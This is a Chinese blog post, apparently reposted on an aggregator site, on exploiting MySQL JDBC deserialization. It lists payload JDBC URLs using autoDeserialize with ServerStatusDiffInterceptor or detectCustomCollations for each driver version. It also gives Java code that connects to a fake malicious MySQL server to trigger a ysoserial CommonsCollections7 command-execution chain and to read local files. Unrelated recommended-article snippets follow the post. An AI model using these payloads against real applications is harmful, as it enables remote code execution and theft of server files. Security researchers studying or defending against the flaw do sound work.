Java反序列化漏洞——jdbc反序列化漏洞利用

2023-10-28

漏洞原理

  • 如果攻击者能够控制JDBC连接设置项,那么就可以通过设置其指向恶意MySQL服务器进行ObjectInputStream.readObject()的反序列化攻击从而RCE。

  • 具体点说,就是通过JDBC连接MySQL服务端时,会有几个内置的SQL查询语句要执行,其中两个查询的结果集在MySQL客户端被处理时会调用ObjectInputStream.readObject()进行反序列化操作。如果攻击者搭建恶意MySQL服务器来控制这两个查询的结果集,并且攻击者可以控制JDBC连接设置项,那么就能触发MySQL JDBC客户端反序列化漏洞。

  • 可被利用的两条查询语句:

  • SHOW SESSION STATUS

  • SHOW COLLATION

恶意MySQL服务器搭建可参考:

各种payload小结

ServerStatusDiffInterceptor触发点

  • 8.x

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
  • 6.x

属性名不同,queryInterceptors换为statementInterceptors:

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
  • >=5.1.11,包名中没有cj:

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
  • 5.x <= 5.1.10,同上,但需要连接后执行查询。

detectCustomCollations触发点

  • 5.1.29 - 5.1.40

jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true
  • 5.1.28 - 5.1.19

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true

漏洞利用

  • 1.下载MySQL_Fake_Server工具,开启监听,python server.py

  • 利用这个工具需要用户名进行控制,以及修改用户名的参数来指定攻击的方式以及附带的参数。

  • 2.再漏洞点使用反序列化,前提漏洞环境有可序列化链条,比如如下是使用CC7的链。

public class Jdbctest {
    public static void main(String[] args) throws Exception {
        Class.forName("com.mysql.jdbc.Driver");
        String jdbc_url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
        Connection con = DriverManager.getConnection(jdbc_url, "yso_CommonsCollections7_calc", "root");      // 其中红色部分的username是需要调整的,yso为指定使用反序列化模块,CommonsCollections7指定使用CC7的链,calc指定CC的命令参数。
    }
}

  • 3.文件读取

public class Jdbctest {
    public static void main(String[] args) throws Exception {
        Class.forName("com.mysql.jdbc.Driver");
        String jdbc_url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
        Connection con = DriverManager.getConnection(jdbc_url, "fileread_c:\\windows\\system32\\drivers\\etc\\hosts", "root");
    }
}

参考链接:

https://www.mi1k7ea.com/2021/04/23/MySQL-JDBC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#JDBC%E7%AE%80%E4%BB%8B

https://c014.cn/blog/java/JDBC/MySQL%20JDBC%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.html

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Java反序列化漏洞——jdbc反序列化漏洞利用 的相关文章

随机推荐

  • centos7修改服务器密码忘记,Centos7忘记root密码怎么修改

    Centos7忘记root密码怎么修改 一 reboot重启机器 当出现引导界面时 按e进入内核编辑界面 二 往下翻 到LANG zh CN UTF 8后面添加 rd break 别忘了空格 三 修改完成后 按下Ctrl X组合键来运行这个
  • gcc,pkg-config,libyaml and etc..

    order of lib imports in gcc lib are importants the order of lib imports in gcc lib are importants I used to have this co
  • Java并发编程实战——你真的了解final吗?

    文章目录 final的简介 平时使用的final final修饰变量 final修饰方法 final修饰类 多线程中你真的了解final吗 final域基本数据类型的重排序规则 写final域的重排序规则 读final域的重排序规则 fin
  • AV1:为互联网提供开放、免费的视频编解码工具

    从学术研究到进入工业界 Zoe Liu一直在算法和音视频领域 目前在谷歌编解码团队为编解码器AV1做开发支持 Zoe畅谈了评定编解码器的标准 以及AV1的最新进度 本文是 下一代编码器 系列采访之一 欢迎自荐或推荐技术人加入 下一代编码器
  • 每日一题【day2】

    题目链接 思路 对于两门课之间的约束关系 很容易联想到图 我们可以将课抽象为节点 将约束抽象为一条有向边 可以用有向图的相关算法解决问题 拓扑排序正好可以解决这一问题 算法 拓扑排序 一个合法的选课序列就是一个拓扑序 拓扑序是指一个满足有向
  • 【交点】直线与多边形相交显示

    every blog every motto You can do more than you think https blog csdn net weixin 39190382 type blog 0 前言 python 求直线与多边形交
  • nio和bio的原理_NIO、BIO、AIO的区别,及NIO的应用和框架选型

    AIO BIO NIO的区别 IO模型主要分类 同步 synchronous IO和异步 asynchronous IO 阻塞 blocking IO和非阻塞 non blocking IO 同步阻塞 blocking IO 简称BIO 同
  • 算法库-二分查找操作

    文章目录 lower bound 返回指向第一个不小于给定值的元素的迭代器 gt x upper bound 返回指向第一个大于给定值的元素的迭代器 gt x binary search 确定元素是否存在于某范围中 equal range
  • PLC的优势与特点

    1 高可靠性 所有I O接口电路均采用光电隔离 将工业现场外部电路与plc内部电路电气隔离 各输入采用R C滤波器 其滤波时间常数一般为10 20 ms 各模块采用屏蔽措施 防止辐射干扰 采用性能优异的开关电源 严格筛选采用的设备 良好的自
  • java 中this的条件_在Java中,this用来代表( )的对象。_学小易找答案...

    填空题 Java语言中常用异常类IOException是用来处理 异常的类 单选题 下面关于继承的说法中正确的是 简答题 根据微课视频 制作函数 制作函数微课 wmv 填空题 Java发生异常状况的程序代码放在 语句块中 将要处理异常状况的
  • 对C++学习的反思(2023年5月23日)

    2023年5月23日 周二下午 存在的问题 至今仍然没用过C 的类来写项目 也不知道如何用C 的类来写项目 依然在用面向过程那套来写项目 不知道什么是面向对象编程 不知道为什么会有面向对象编程 不知道面向对象编程和面向过程相比有什么优势 那
  • rancher高可用安装

    kubernetes安装高可用rancher 需要安装helm 很简单自行安装即可 helm版本要求 本文使用的是已有的https证书 TLS证书 也可以用自建的 开始安装 一 添加helm rancher的仓库 请将命令中的
  • STM32F103的低功耗模式

    一 原理 STM32F103的低功耗模式有多种 常用的有STOP模式和STANDBY模式 这两种模式都可以有效降低芯片的功耗 特别是在电池供电的场景下 可以延长电池寿命 STOP模式 主要关闭CPU SRAM和Flash时钟 只保留少数必要
  • STM32一键下载电路程序下载后不运行问题分析

    使用STM32常用的下载方法主要有以下几种 1 ISP程序下载 使用STM32的串口1进行程序下载 使用该方式下载需要使用USB转串口芯片 常用的芯片如CH340G 该方式的程序下载需要使用上位机FlyMcu 上位机的设置出错很容易导致程序
  • mac 系统下通过docker 运行mysql

    mac 系统下通过docker 运行mysql 创建网络 mysql 安装 执行相关代码 配置参数 workspace docker mysql conf my cnf 启动 创建网络 docker network create dev n
  • Error creating bean with name ‘dataSource‘ Cannot load driver class: com.mysql.cj.jdbc.Driver

    最近写代码碰到一个关于jdbcTemplate的相关问题 因为项目的需求所以需要将程序打包成jar包去公司内网堡垒机运行 一直碰到一个与jdbcTemplate相关的问题 最后这个问题归结到 org springframework bean
  • 怎样制作网页

    制作网页可以通过以下步骤来完成 首先 你需要学习 HTML HyperText Markup Language 和 CSS Cascading Style Sheets 这两种编程语言 HTML 用来描述网页的结构和内容 CSS 用来控制网
  • 动态规划(钢条切割问题 Java/Python/Golang)

    问题描述 引用算法导论描述 给定一段长度为n英寸的钢条 一个整型 和一个价格表p 一个数组 求钢条最优切割方案 使得销售的收益最大 如果n英寸的钢条的价格p n 足够大 那么钢条有可能不需要切割 Java版本 原始版 原始求解方法 para
  • 细数【SD-WEBUI】的模型:谁是最适合的模型&从哪里找到它们

    文章目录 零 前言 一 基础模型 Stable Diffusion模型 1 1 ChilloutMix 仿真 1 2 BasilMix 仿真 1 3 BeautyProMix 仿真 1 4 ChikMix 仿真 1 5 Dalcefo Re
  • Java反序列化漏洞——jdbc反序列化漏洞利用

    漏洞原理 如果攻击者能够控制JDBC连接设置项 那么就可以通过设置其指向恶意MySQL服务器进行ObjectInputStream readObject 的反序列化攻击从而RCE 具体点说 就是通过JDBC连接MySQL服务端时 会有几个内